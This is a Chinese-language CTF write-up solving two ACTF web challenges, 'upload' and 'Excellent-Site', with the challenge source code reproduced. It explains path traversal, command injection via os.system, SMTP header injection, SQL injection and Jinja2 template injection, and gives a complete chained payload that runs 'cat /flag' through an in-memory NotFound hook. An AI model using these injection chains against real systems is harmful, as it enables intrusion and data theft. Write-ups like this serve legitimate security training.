下午打取证晚上打ACTF就牢了一题就牢不动了,其他题看来一下有两题是有思路的但是队友打了我也就没打了

upload

随便输都可以登陆成功,然后上传文件后发现了文件读取./upload?file_path

可以目录穿越

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import uuid
import os
import hashlib
import base64
from flask import Flask, request, redirect, url_for, flash, session

app = Flask(__name__)
app.secret_key = os.getenv('SECRET_KEY')

@app.route('/')
def index():
if session.get('username'):
return redirect(url_for('upload'))
else:
return redirect(url_for('login'))

@app.route('/login', methods=['POST', 'GET'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if username == 'admin':
if hashlib.sha256(password.encode()).hexdigest() == '32783cef30bc23d9549623aa48aa8556346d78bd3ca604f277d63d6e573e8ce0':
session['username'] = username
return redirect(url_for('index'))
else:
flash('Invalid password')
else:
session['username'] = username
return redirect(url_for('index'))
else:
return '''
<h1>Login</h1>
<h2>No need to register.</h2>
<form action="/login" method="post">
<label for="username">Username:</label>
<input type="text" id="username" name="username" required>
<br>
<label for="password">Password:</label>
<input type="password" id="password" name="password" required>
<br>
<input type="submit" value="Login">
</form>
'''

@app.route('/upload', methods=['POST', 'GET'])
def upload():
if not session.get('username'):
return redirect(url_for('login'))

if request.method == 'POST':
f = request.files['file']
file_path = str(uuid.uuid4()) + '_' + f.filename
f.save('./uploads/' + file_path)
return redirect(f'/upload?file_path={file_path}')

else:
if not request.args.get('file_path'):
return '''
<h1>Upload Image</h1>

<form action="/upload" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="Upload">
</form>
'''

else:
file_path = './uploads/' + request.args.get('file_path')
if session.get('username') != 'admin':
with open(file_path, 'rb') as f:
content = f.read()
b64 = base64.b64encode(content)
return f'<img src="data:image/png;base64,{b64.decode()}" alt="Uploaded Image">'
else:
os.system(f'base64 {file_path} > /tmp/{file_path}.b64')
# with open(f'/tmp/{file_path}.b64', 'r') as f:
# return f'<img src="data:image/png;base64,{f.read()}" alt="Uploaded Image">'
return 'Sorry, but you are not allowed to view this image.'

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

admin的密码是弱口令可以直接在cmd5查出hash对应的文明
登陆admin的账号后就可以进行命令注入了,执行结果会保存到文件里命令执行后读取文件即可,或者直接弹shell

Excellent-Site

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
import smtplib
import imaplib
import email
import sqlite3
from urllib.parse import urlparse
import requests
from email.header import decode_header
from flask import *

app = Flask(__name__)

def get_subjects(username, password):
imap_server = "192.227.128.32"
imap_port = 143
try:
mail = imaplib.IMAP4(imap_server, imap_port)
mail.login(username, password)
mail.select("inbox")
status, messages = mail.search(None, 'FROM "admin@ezmail.org"')
if status != "OK":
return ""
subject = ""
latest_email = messages[0].split()[-1]
status, msg_data = mail.fetch(latest_email, "(RFC822)")
for response_part in msg_data:
if isinstance(response_part, tuple):
msg = email.message_from_bytes(response_part [1])
subject, encoding = decode_header(msg["Subject"]) [0]
if isinstance(subject, bytes):
subject = subject.decode(encoding if encoding else 'utf-8')
mail.logout()
return subject
except:
return "ERROR"

def fetch_page_content(url):
try:
parsed_url = urlparse(url)
if parsed_url.scheme != 'http' or parsed_url.hostname != 'ezmail.org':
return "SSRF Attack!"
response = requests.get(url)
if response.status_code == 200:
return response.text
else:
return "ERROR"
except:
return "ERROR"

@app.route("/report", methods=["GET", "POST"])
def report():
message = ""
if request.method == "POST":
url = request.form["url"]
content = request.form["content"]
smtplib._quote_periods = lambda x: x
mail_content = """From: ignored@localhost.localdomain\r\nTo: admin@localhost.localdomain\r\nSubject: {url}\r\n\r\n{content}\r\n.\r\n"""
try:
server = smtplib.SMTP("192.227.128.32",25)
mail_content = smtplib._fix_eols(mail_content)
mail_content = mail_content.format(url=url, content=content)
server.sendmail("ignored@ezmail.org", "admin@ezmail.org", mail_content)
message = "Submitted! Now wait till the end of the world."
except:
message = "Send FAILED"
return render_template("report.html", message=message)

@app.route("/bot", methods=["GET"])
def bot():
requests.get("http://ezmail.org:3000/admin")
return "The admin is checking your advice(maybe)"

@app.route("/admin", methods=["GET"])
def admin():
ip = request.remote_addr
if ip != "127.0.0.1":
return "Forbidden IP"
subject = get_subjects("admin", "p@ssword")
if subject.startswith("http://ezmail.org"):
page_content = fetch_page_content(subject)
return render_template_string(f"""
<h2>Newest Advice(from myself)</h2>
<div>{page_content}</div>
""")
return ""

@app.route("/news", methods=["GET"])
def news():
news_id = request.args.get("id")

if not news_id:
news_id = 1

conn = sqlite3.connect("news.db")
cursor = conn.cursor()

cursor.execute(f"SELECT title FROM news WHERE id = {news_id}")
result = cursor.fetchone()
conn.close()

if not result:
return "Page not found.", 404
return result[0]

@app.route("/")
def index():
return render_template("index.html")

if __name__ == "__main__":
app.run(host="0.0.0.0", port=3000)

看一下代码其实漏洞点还是比较好找的
一眼就是admin下的ssti

我们不能直接访问ssti,我们只能访问bot来让bot访问一次admin路径,而page_content是subject页面的内容,subject只能为http://ezmail.org开头,而我们在news可以发现一个明显的sql。且参数是url传的,那么我们就可以通过sql注入来控制回显,而我们的这个web服务是http://ezmail.org:3000。

那么现在问题就变成了如何去控制subject

看get_subjects可以发现其是通过获取一个最新的来自FROM “admin@ezmail.org”来字admin的邮件的subject头的内容。而我们可以通过/report来发送邮件给admin,但是可控的只有subject和content

这里我们使用\r\n来分割邮件头从而造成邮件头注入在后面加一个from头从而来伪造邮件的from

然后这个无回显,所以要使用内存马。这里我使用的是404回显
payload如下

1
url=http://ezmail.org:3000/news?id=-1+union+select+"{{url_for.__globals__.__builtins__['setattr'](lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.exceptions.NotFound,'description',url_for.__globals__.__builtins__['__import__']('os').popen('cat+/flag').read())}}"%0d%0aFrom:+admin@ezmail.org&content=aaa